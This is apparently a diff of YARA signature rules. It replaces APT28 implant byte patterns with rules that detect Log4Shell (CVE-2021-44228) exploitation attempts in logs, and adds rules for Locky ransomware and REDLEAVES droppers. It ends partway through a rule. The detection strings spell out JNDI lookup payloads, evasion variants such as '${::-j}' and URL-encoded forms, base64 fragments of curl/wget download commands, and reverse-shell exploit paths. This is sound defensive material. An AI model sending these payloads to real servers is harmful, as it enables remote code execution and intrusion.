-		logic_hash = "ebfedcec6f22d802a9980ad533f21e90b77fe929a813850be1b25304d3973c3b"
-		score = 85
+		description = "Detects indicators in server logs that indicate an exploitation attempt of CVE-2021-44228"
+		author = "Florian Roth (Nextron Systems)"
+		id = "87e536a5-cc11-528a-b100-4fa3b2b7bc0c"
+		date = "2021-12-10"
+		modified = "2021-12-20"
+		reference = "https://twitter.com/h113sdx/status/1469010902183661568?s=20"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/expl_log4j_cve_2021_44228.yar#L68-L92"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "61a005060e2041afa5a9aa0b2a5e26cfc9a53cbafa78b15e4dd2c3b38127373a"
+		score = 60
 		quality = 85
-		tags = "FILE"
+		tags = "FILE, CVE-2021-44228"
 
 	strings:
-		$STR1 = {C1 EB 07 8D ?? 01 32 1C ?? 33 D2 }
-		$STR2 = {2B ?? 83 ?? 06 0F 83 ?? 00 00 00 EB 02 33 }
-		$STR3 = {89 ?? ?? 89 ?? ?? 89 55 ?? 89 45 ?? 3B ?? 0F 83 ?? 00 00 00 8D
-         ?? ?? 8D ?? ?? FE }
+		$x01 = "${jndi:ldap:/"
+		$x02 = "${jndi:rmi:/"
+		$x03 = "${jndi:ldaps:/"
+		$x04 = "${jndi:dns:/"
+		$x05 = "${jndi:iiop:/"
+		$x06 = "${jndi:http:/"
+		$x07 = "${jndi:nis:/"
+		$x08 = "${jndi:nds:/"
+		$x09 = "${jndi:corba:/"
+		$fp1 = "<html"
+		$fp2 = "/nessus}"
 
 	condition:
-		( uint16(0)==0x5A4D) and any of them
+		1 of ($x*) and not 1 of ($fp*)
 }
-import "pe"
-
-rule SIGNATURE_BASE_IMPLANT_2_V5 : FILE
+rule SIGNATURE_BASE_EXPL_Log4J_CVE_2021_44228_Dec21_OBFUSC : CVE_2021_44228
 {
 	meta:
-		description = "CORESHELL/SOURFACE Implant by APT28"
-		author = "US CERT"
-		id = "0e787116-d7f5-5a72-9aba-d4e6cb35bc8d"
-		date = "2017-02-10"
-		modified = "2023-12-05"
-		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_grizzlybear_uscert.yar#L157-L171"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "b0929b808f62e3c59c0afbe959ebf67a3a985e0a0a72bcb112c9693a98351555"
-		score = 85
+		description = "Detects obfuscated indicators in server logs that indicate an exploitation attempt of CVE-2021-44228"
+		author = "Florian Roth (Nextron Systems)"
+		id = "d7c4092a-6ffc-5a89-b73a-f7f0ac984cbd"
+		date = "2021-12-12"
+		modified = "2021-12-13"
+		reference = "https://twitter.com/h113sdx/status/1469010902183661568?s=20"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/expl_log4j_cve_2021_44228.yar#L94-L116"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "00231db2ae83a89c187dbde1f2bc67fdaedcf1cbdf872afdcc374d2d0abee515"
+		score = 60
 		quality = 85
-		tags = "FILE"
+		tags = "CVE-2021-44228"
 
 	strings:
-		$STR1 = {48 83 [2] 48 89 [3] c7 44 [6] 4c 8d 05 [3] 00 BA 01 00 00 00 33
-         C9 ff 15 [2] 00 00 ff 15 [2] 00 00 3D B7 00 00 00 75 ?? 48 8D 15 ?? 00
-         00 00 48 8B CC E8}
+		$x1 = "$%7Bjndi:"
+		$x2 = "%2524%257Bjndi"
+		$x3 = "%2F%252524%25257Bjndi%3A"
+		$x4 = "${jndi:${lower:"
+		$x5 = "${::-j}${"
+		$x6 = "${${env:BARFOO:-j}"
+		$x7 = "${::-l}${::-d}${::-a}${::-p}"
+		$x8 = "${base64:JHtqbmRp"
+		$fp1 = "<html"
 
 	condition:
-		( uint16(0)==0x5A4D) and all of them
+		1 of ($x*) and not 1 of ($fp*)
 }
-import "pe"
-
-rule SIGNATURE_BASE_IMPLANT_2_V6 : FILE
+rule SIGNATURE_BASE_EXPL_Log4J_CVE_2021_44228_Dec21_Hard : FILE CVE_2021_44228
 {
 	meta:
-		description = "CORESHELL/SOURFACE Implant by APT28"
-		author = "US CERT"
-		id = "ffadb02f-6311-567d-900b-c8a9ed172ab4"
-		date = "2017-02-10"
-		modified = "2023-12-05"
-		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_grizzlybear_uscert.yar#L173-L186"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "93ce725a8af03d6f08eafe99ff3984e03a434b1f0071c6dbe560bafc3eefb576"
-		score = 85
+		description = "Detects indicators in server logs that indicate the exploitation of CVE-2021-44228"
+		author = "Florian Roth"
+		id = "5297c42d-7138-507d-a3eb-153afe522816"
+		date = "2021-12-10"
+		modified = "2023-10-23"
+		reference = "https://twitter.com/h113sdx/status/1469010902183661568?s=20"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/expl_log4j_cve_2021_44228.yar#L118-L140"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "9a4fc285dd1680ebc8a1042eeb5fbba73b9e2df70678adf3163122d84405325e"
+		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = "FILE, CVE-2021-44228"
 
 	strings:
-		$STR1 = { e8 [2] ff ff 8b [0-6] 00 04 00 00 7F ?? [1-2] 00 02 00 00 7F
-         ?? [1-2] 00 01 00 00 7F ?? [1-2] 80 00 00 00 7F ?? 83 ?? 40 7F}
+		$x1 = /\$\{jndi:(ldap|ldaps|rmi|dns|iiop|http|nis|nds|corba):\/[\/]?[a-z-\.0-9]{3,120}:[0-9]{2,5}\/[a-zA-Z\.]{1,32}\}/
+		$x2 = "Reference Class Name: foo"
+		$fp1r = /(ldap|rmi|ldaps|dns):\/[\/]?(127\.0\.0\.1|192\.168\.|172\.[1-3][0-9]\.|10\.)/
+		$fpg2 = "<html"
+		$fpg3 = "<HTML"
+		$fp1 = "/QUALYSTEST" ascii
+		$fp2 = "w.nessus.org/nessus"
+		$fp3 = "/nessus}"
 
 	condition:
-		( uint16(0)==0x5A4D) and all of them
+		1 of ($x*) and not 1 of ($fp*)
 }
-import "pe"
-
-rule SIGNATURE_BASE_IMPLANT_2_V7 : FILE
+rule SIGNATURE_BASE_SUSP_Base64_Encoded_Exploit_Indicators_Dec21 : CVE_2021_44228
 {
 	meta:
-		description = "CORESHELL/SOURFACE Implant by APT28"
-		author = "US CERT"
-		id = "839041d9-e27b-52a2-b5d5-f1af595826f4"
-		date = "2017-02-10"
-		modified = "2023-12-05"
-		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_grizzlybear_uscert.yar#L188-L208"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "dd65443065f044a2956ae51140423dab202effff5f12dd686f6c4fd54d8a4a0b"
-		score = 85
+		description = "Detects base64 encoded strings found in payloads of exploits against log4j CVE-2021-44228"
+		author = "Florian Roth (Nextron Systems)"
+		id = "09abc4f0-ace7-5f53-b1d3-5f5c6bf3bdba"
+		date = "2021-12-10"
+		modified = "2021-12-13"
+		reference = "https://twitter.com/Reelix/status/1469327487243071493"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/expl_log4j_cve_2021_44228.yar#L142-L165"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "703a83916c7279bcdc3cd61602472c2a3815140235be169f5b2063a547438c61"
+		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = "CVE-2021-44228"
 
 	strings:
-		$s1 = {10 A0 FA FD 83 3D 28 D4 1F FF 77 5? ?8 B4 50 CC 1E B0 78 D7 90 13
-         21 C0 23 3D 28 BC 78 95 DE 4B B0 60 00 00 0F 7F 38 B4 50 C8 D5 9F E0
-         25 DF F3 21 C0 28 BC 13 3D 2B 90 60 00 00 0F 7F 18 B4 50 C8 BC F2 21
-         C0 28 B4 5E 48 B5 5E 00 8D 41 FE 83 F8 06 8B 45 ?? 72 ?? 8B 4D ?? 8B }
-		$s2 = {28 D9 B0 00 00 00 00 FB 65 C0 AF E8 D3 40 28 B4 5? ?0 3C 20 FA FD
-         88 D7 A0 18 D4 2F F3 3D 2F 77 5? ?C 1E B0 78 BC 73 21 C0 A3 3D 2B 90
-         60 00 00 0F 7F 18 A4 D? ?8 B4 50 C8 0E 90 20 24 D? ?3 20 C0 28 B4 5?
-         ?3 3D 2F 77 5? ?8 B4 50 C2 20 C0 28 BD 70 2D 93 01 E8 B4 D0 C8 D4 2F
-         E3 B4 5E 88 B4 5? ?8 95 5? ?7 2A 05 F5 E5 B8 BE 55 DC 20 80 }
+		$sa1 = "Y3VybCAtcy"
+		$sa2 = "N1cmwgLXMg"
+		$sa3 = "jdXJsIC1zI"
+		$sb1 = "fHdnZXQgLXEgLU8tI"
+		$sb2 = "x3Z2V0IC1xIC1PLS"
+		$sb3 = "8d2dldCAtcSAtTy0g"
+		$fp1 = "<html"
 
 	condition:
-		( uint16(0)==0x5A4D) and any of them
+		1 of ($sa*) and 1 of ($sb*) and not 1 of ($fp*)
 }
-import "pe"
-
-rule SIGNATURE_BASE_IMPLANT_2_V9 : FILE
+rule SIGNATURE_BASE_SUSP_Jdniexploit_Indicators_Dec21 : FILE
 {
-	meta:
-		description = "CORESHELL/SOURFACE Implant by APT28"
-		author = "US CERT"
-		id = "41f46b52-4b0e-53ee-a86c-503fe9a9532c"
-		date = "2017-02-10"
-		modified = "2023-12-05"
-		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_grizzlybear_uscert.yar#L210-L236"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "5947dbb08c9d0851b7993e5ccf177f97dcb330d4b390833843f69932c921ce7a"
-		score = 85
+	meta:
+		description = "Detects indicators of JDNI usage in log files and other payloads"
+		author = "Florian Roth (Nextron Systems)"
+		id = "2df8b8f3-8d8d-5982-8c85-692b7d91ebb2"
+		date = "2021-12-10"
+		modified = "2021-12-12"
+		reference = "https://github.com/flypig5211/JNDIExploit"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/expl_log4j_cve_2021_44228.yar#L167-L180"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "7886a67672001f0db72575d96d3a12341bfcdc49a9951e3d5e2a88ab46bf5a5d"
+		score = 70
 		quality = 85
 		tags = "FILE"
 
 	strings:
-		$STR1 = { 8A C3 02 C0 02 D8 8B 45 F8 02 DB 83 C1 02 03 45 08 88 5D 0F 89
-         45 E8 8B FF 0F B6 5C 0E FE 8B 45 F8 03 C1 0F AF D8 8D 51 01 89 55 F4
-         33 D2 BF 06 00 00 00 8D 41 FF F7 F7 8B 45 F4 C1 EB 07 32 1C 32 33 D2
-         F7 F7 8A C1 02 45 0F 2C 02 32 04 32 33 D2 88 45 FF 8B C1 8B F7 F7 F6
-         8A 45 FF 8B 75 14 22 04 32 02 D8 8B 45 E8 30 1C 08 8B 4D F4 8D 51 FE
-         3B D7 72 A4 8B 45 E4 8B 7D E0 8B 5D F0 83 45 F8 06 43 89 5D F0 3B D8
-         0F 82 ?? ?? ?? ?? 3B DF 75 13 8D 04 7F 8B 7D 10 03 C0 2B F8 EB 09 33
-         C9 E9 5B FF FF FF 33 FF 3B 7D EC 0F 83 ?? ?? ?? ?? 8B 55 08 8A CB 02
-         C9 8D 04 19 02 C0 88 45 13 8D 04 5B 03 C0 8D 54 10 FE 89 45 E0 8D 4F
-         02 89 55 E4 EB 09 8D 9B 00 00 00 00 8B 45 E0 0F B6 5C 31 FE 8D 44 01
-         FE 0F AF D8 8D 51 01 89 55 0C 33 D2 BF 06 00 00 00 8D 41 FF F7 F7 8B
-         45 0C C1 EB 07 32 1C 32 33 D2 F7 F7 8A C1 02 45 13 2C 02 32 04 32 33
-         D2 88 45 0B 8B C1 8B F7 F7 F6 8A 45 0B 8B 75 14 22 04 32 02 D8 8B 45
-         E4 30 1C 01 8B 4D 0C }
+		$xr1 = /(ldap|ldaps|rmi|dns|iiop|http|nis|nds|corba):\/\/[a-zA-Z0-9\.]{7,80}:[0-9]{2,5}\/(Basic\/Command\/Base64|Basic\/ReverseShell|Basic\/TomcatMemshell|Basic\/JBossMemshell|Basic\/WebsphereMemshell|Basic\/SpringMemshell|Basic\/Command|Deserialization\/CommonsCollectionsK|Deserialization\/CommonsBeanutils|Deserialization\/Jre8u20\/TomcatMemshell|Deserialization\/CVE_2020_2555\/WeblogicMemshell|TomcatBypass|GroovyBypass|WebsphereBypass)\//
 
 	condition:
-		( uint16(0)==0x5A4D or uint16(0)==0xCFD0 or uint16(0)==0xC3D4 or uint32(0)==0x46445025 or uint32(1)==0x6674725C) and all of them
+		filesize <100MB and $xr1
 }
-import "pe"
-
-rule SIGNATURE_BASE_IMPLANT_2_V10 : FILE
+rule SIGNATURE_BASE_SUSP_EXPL_OBFUSC_Dec21_1 : CVE_2021_44228 FILE
 {
 	meta:
-		description = "CORESHELL/SOURFACE Implant by APT28"
-		author = "US CERT"
-		id = "cb88ae0c-19e2-590c-9c13-78ac1dcc8c9f"
-		date = "2017-02-10"
-		modified = "2023-12-05"
-		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_grizzlybear_uscert.yar#L238-L251"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "62d47c1076b05bc9a531ef6e48f17f730932826b4b0f311887e3b14c639b937d"
-		score = 85
+		description = "Detects obfuscation methods used to evade detection in log4j exploitation attempt of CVE-2021-44228"
+		author = "Florian Roth (Nextron Systems)"
+		id = "b8f56711-7922-54b9-9ce2-6ba05d64c80d"
+		date = "2021-12-11"
+		modified = "2022-11-08"
+		reference = "https://twitter.com/testanull/status/1469549425521348609"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/expl_log4j_cve_2021_44228.yar#L182-L211"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "d6ffb70da82fe16e7a76feb31c01aa3e0cfc5625cc0e2b237ec851c646550839"
+		score = 60
 		quality = 85
-		tags = "FILE"
+		tags = "CVE-2021-44228, FILE"
 
 	strings:
-		$STR1 = { 83 ?? 06 [7-17] fa [0-10] 45 [2-4] 48 [2-4] e8 [2] FF FF [6-8]
-         48 8d [3] 48 89 [3] 45 [2] 4? [1-2] 01}
+		$f1 = { 24 7B 6C 6F 77 65 72 3A ?? 7D }
+		$f2 = { 24 7B 75 70 70 65 72 3A ?? 7D }
+		$x3 = "$%7blower:"
+		$x4 = "$%7bupper:"
+		$x5 = "%24%7bjndi:"
+		$x6 = "$%7Blower:"
+		$x7 = "$%7Bupper:"
+		$x8 = "%24%7Bjndi:"
+		$fp1 = "<html"
 
 	condition:
-		( uint16(0)==0x5A4D) and all of them
+		(1 of ($x*) or filesize <200KB and 1 of ($f*)) and not 1 of ($fp*)
 }
-import "pe"
-
-rule SIGNATURE_BASE_IMPLANT_2_V11 : FILE
+rule SIGNATURE_BASE_SUSP_Jdniexploit_Error_Indicators_Dec21_1
 {
 	meta:
-		description = "CORESHELL/SOURFACE Implant by APT28"
-		author = "US CERT"
-		id = "570d6996-ab16-556e-b790-e4c73d7bbffc"
-		date = "2017-02-10"
-		modified = "2023-12-05"
-		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_grizzlybear_uscert.yar#L253-L267"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "72b9e4de0389df3a14f92660e91749dea4d31905eb7391163c3503bc953d661f"
-		score = 85
+		description = "Detects error messages related to JDNI usage in log files that can indicate a Log4Shell / Log4j exploitation"
+		author = "Florian Roth (Nextron Systems)"
+		id = "68bcf043-58b4-54a9-b024-64871b5d535f"
+		date = "2021-12-10"
+		modified = "2023-06-23"
+		reference = "https://twitter.com/marcioalm/status/1470361495405875200?s=20"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/expl_log4j_cve_2021_44228.yar#L213-L226"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "2ab98814b2ed66b0bda875fecc0b09db82035d7edcdb0af65f815817ec8c6cc8"
+		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 
 	strings:
-		$STR1 = {55 8b ec 6a fe 68 [4] 68 [4] 64 A1 00 00 00 00 50 83 EC 0C 53
-         56 57 A1 [4] 31 45 F8 33 C5 50 8D 45 F0 64 A3 00 00 00 00 [8-14] 68
-         [4] 6a 01 [1-2] FF 15 [4] FF 15 [4] 3D B7 00 00 00 75 27}
+		$x1 = "FATAL log4j - Message: BadAttributeValueException: "
 
 	condition:
-		( uint16(0)==0x5A4D) and all of them
+		1 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_IMPLANT_2_V14 : FILE
+rule SIGNATURE_BASE_Locky_Ransomware
 {
 	meta:
-		description = "CORESHELL/SOURFACE Implant by APT28"
-		author = "US CERT"
-		id = "1e4958e7-e136-5600-bc16-36cdeeb3ea18"
-		date = "2017-02-10"
+		description = "Detects Locky Ransomware (matches also on Win32/Kuluoz)"
+		author = "Florian Roth (Nextron Systems) (with the help of binar.ly)"
+		id = "ce61e01e-a9ce-54f4-bd2d-8acf1d5fbc30"
+		date = "2016-02-17"
 		modified = "2023-12-05"
-		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_grizzlybear_uscert.yar#L269-L293"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "4abb1e1c68ced667f04a69c58c89187f9ccc0633c5dc5f396ba8d210bf405f93"
-		score = 85
+		reference = "https://goo.gl/qScSrE"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_locky.yar#L8-L21"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "5e945c1d27c9ad77a2b63ae10af46aee7d29a6a43605a9bfbf35cebbcff184d8"
+		logic_hash = "c7584ea39c4aceedeb0ea2952be6ff212461674175855274f1783eef80ffba86"
+		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 
 	strings:
-		$STR1 = {8B ?? 44 89 44 24 60 41 F7 E0 8B F2 B8 AB AA AA AA C1 EE 02 89
-         74 24 58 44 8B ?? 41 F7 ?? 8B CA BA 03 00 00 00 C1 E9 02 89 0C 24 8D
-         04 49 03 C0 44 2B ?? 44 89 ?? 24 04 3B F1 0F 83 ?? 01 00 00 8D 1C 76
-         4C 89 6C 24  }
-		$STR2 = {C5 41 F7 E0 ?? ?? ?? ?? ?? ?? 8D 0C 52 03 C9 2B C1 8B C8 ?? 8D
-         04 ?? 46 0F B6 0C ?? 40 02 C7 41 8D 48 FF 44 32 C8 B8 AB AA AA AA F7
-         E1 C1 EA 02 8D 04 52 03 C0 2B C8 B8 AB AA AA AA 46 22 0C ?? 41 8D 48
-         FE F7 E1 C1 EA 02 8D 04 52 03 C0 2B C8 8B C1 }
-		$STR3 = {41 F7 E0 C1 EA 02 41 8B C0 8D 0C 52 03 C9 2B C1 8B C8 42 8D 04
-         1B 46 0F B6 0C ?? 40 02 C6 41 8D 48 FF 44 32 C8 B8 AB AA AA AA F7 E1
-         C1 EA 02 8D 04 52 03 C0 2B C8 B8 AB AA AA AA }
-		$STR4 = {46 22 0C ?? 41 8D 48 FE F7 E1 C1 EA 02 8D 04 52 8B 54 24 58 03
-         C0 2B C8 8B C1 0F B6 4F FF 42 0F B6 04 ?? 41 0F AF CB C1 }
+		$o1 = { 45 b8 99 f7 f9 0f af 45 b8 89 45 b8 }
+		$o2 = { 2b 0a 0f af 4d f8 89 4d f8 c7 45 }
 
 	condition:
-		( uint16(0)==0x5A4D) and any of them
+		all of ($o*)
 }
-import "pe"
-
-rule SIGNATURE_BASE_IMPLANT_2_V15 : FILE
+rule SIGNATURE_BASE_Dropper_Deploysmalwareviasideloading
 {
 	meta:
-		description = "CORESHELL/SOURFACE Implant by APT28"
-		author = "US CERT"
-		id = "9bdaebc1-86a0-5c21-b752-d69cdb70f082"
-		date = "2017-02-10"
-		modified = "2023-12-05"
-		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_grizzlybear_uscert.yar#L295-L310"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "fac61e80803941193c41ecf8b3fcbee21b5cc41542989ecd93542c32e87da983"
-		score = 85
+		description = "Detects a dropper used to deploy an implant via side loading. This dropper has specifically been observed deploying REDLEAVES & PlugX"
+		author = "USG"
+		id = "2e7cdedd-2358-5d71-a3ec-73dec442d840"
+		date = "2024-04-17"
+		modified = "2024-04-17"
+		reference = "https://www.us-cert.gov/ncas/alerts/TA17-117A"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_uscert_ta17-1117a.yar#L9-L21"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "51d8a0785bc25cf02460b9b7490ccba3d67806c953e6aa3d3882341ce11857fa"
+		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
+		true_positive = "5262cb9791df50fafcb2fbd5f93226050b51efe400c2924eecba97b7ce437481: drops REDLEAVES. 6392e0701a77ea25354b1f40f5b867a35c0142abde785a66b83c9c8d2c14c0c3: drops plugx. "
 
 	strings:
-		$XOR_LOOP1 = { 32 1C 02 33 D2 8B C7 89 5D E4 BB 06 00 00 00 F7 F3 }
-		$XOR_LOOP2 = { 32 1C 02 8B C1 33 D2 B9 06 00 00 00 F7 F1 }
-		$XOR_LOOP3 = { 02 C3 30 06 8B 5D F0 8D 41 FE 83 F8 06 }
+		$UniqueString = {2e 6c 6e 6b [0-14] 61 76 70 75 69 2e 65 78 65}
+		$PsuedoRandomStringGenerator = {b9 1a [0-6] f7 f9 46 80 c2 41 88 54 35 8b 83 fe 64}
 
 	condition:
-		( uint16(0)==0x5A4D or uint16(0)==0xCFD0 or uint16(0)==0xC3D4 or uint32(0)==0x46445025 or uint32(1)==0x6674725C) and all of them
+		any of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_IMPLANT_2_V16 : FILE
+rule SIGNATURE_BASE_REDLEAVES_Droppedfile_Implantloader_Starburn
 {
 	meta:
-		description = "CORESHELL/SOURFACE Implant by APT28"
-		author = "US CERT"
-		id = "2c54a749-c80b-5010-97b6-b74c54fd3d07"
-		date = "2017-02-10"
-		modified = "2023-12-05"
-		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_grizzlybear_uscert.yar#L312-L329"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "638cb66e5ff52ac5a1df0954969e7c54a3b25518228e4f8f344aafe6760985d2"
-		score = 85
+		description = "Detects the DLL responsible for loading and deobfuscating the DAT file containing shellcode and core REDLEAVES RAT"
+		author = "USG"
+		id = "976f42b1-58c9-554b-97e6-130a657507e2"
+		date = "2024-04-17"
+		modified = "2024-04-17"
+		reference = "https://www.us-cert.gov/ncas/alerts/TA17-117A"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_uscert_ta17-1117a.yar#L23-L34"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "2ebfdaf363ac80bc9bace3056ff86efd9c1b246c6f60373a82df4a0db901a6e3"
+		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
+		true_positive = "7f8a867a8302fe58039a6db254d335ae"
 
 	strings:
-		$OBF_FUNCT = { 0F B6 1C 0B 8D 34 08 8D 04 0A 0F AF D8 33 D2 8D 41 FF F7
-         75 F8 8B 45 0C C1 EB 07 8D 79 01 32 1C 02 33 D2 8B C7 89 5D E4 BB 06
-         00 00 00 F7 F3 8B 45 0C 8D 59 FE 02 5D FF 32 1C 02 8B C1 33 D2 B9 06
-         00 00 00 F7 F1 8B 45 0C 8B CF 22 1C 02 8B 45 E4 8B 55 E0 02 C3 30 06
-         8B 5D F0 8D 41 FE 83 F8 06 8B 45 DC 72 9A }
+		$XOR_Loop = {32 0c 3a 83 c2 02 88 0e 83 fa 08 [4-14] 32 0c 3a 83 c2 02 88 0e 83 fa 10}
 
 	condition:
-		( uint16(0)==0x5A4D or uint16(0)==0xCFD0 or uint16(0)==0xC3D4 or uint32(0)==0x46445025 or uint32(1)==0x6674725C) and $OBF_FUNCT
+		any of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_IMPLANT_2_V17 : FILE
+rule SIGNATURE_BASE_REDLEAVES_Droppedfile_Obfuscatedshellcodeandrat_Handkerchief
 {
 	meta:
-		description = "CORESHELL/SOURFACE Implant by APT28"
-		author = "US CERT"
-		id = "dc3a6b08-1ac4-5fa2-a710-657514d45606"
-		date = "2017-02-10"
-		modified = "2023-12-05"
-		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_grizzlybear_uscert.yar#L331-L347"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "ea2793e6ce9e9d97e70a9452a38eb4d5ddbcc275af6ae7f5d094dc77e112d278"
-		score = 85
-		quality = 85
-		tags = "FILE"
+		description = "Detects obfuscated .dat file containing shellcode and core REDLEAVES RAT"
+		author = "USG"
+		id = "51a28529-1084-5f24-9369-6427e8d51d9d"
+		date = "2024-04-17"
+		modified = "2024-04-17"
+		reference = "https://www.us-cert.gov/ncas/alerts/TA17-117A"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_uscert_ta17-1117a.yar#L36-L47"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "f91bd1ddd6691a0a5b6ebc6a28d35bb5b2e6c00754f07e58ffb01e06ad590ae3"
+		score = 75
+		quality = 83
+		tags = ""
+		true_positive = "fb0c714cd2ebdcc6f33817abe7813c36"
 
 	strings:
-		$STR1 = { 24108b44241c894424148b4424246836 }
-		$STR2 = { 518d4ddc516a018bd08b4de4e8360400 }
-		$STR3 = { e48178061591df75740433f6eb1a8b48 }
-		$STR4 = { 33d2f775f88b45d402d903c641321c3a }
-		$STR5 = { 006a0056ffd083f8ff74646a008d45f8 }
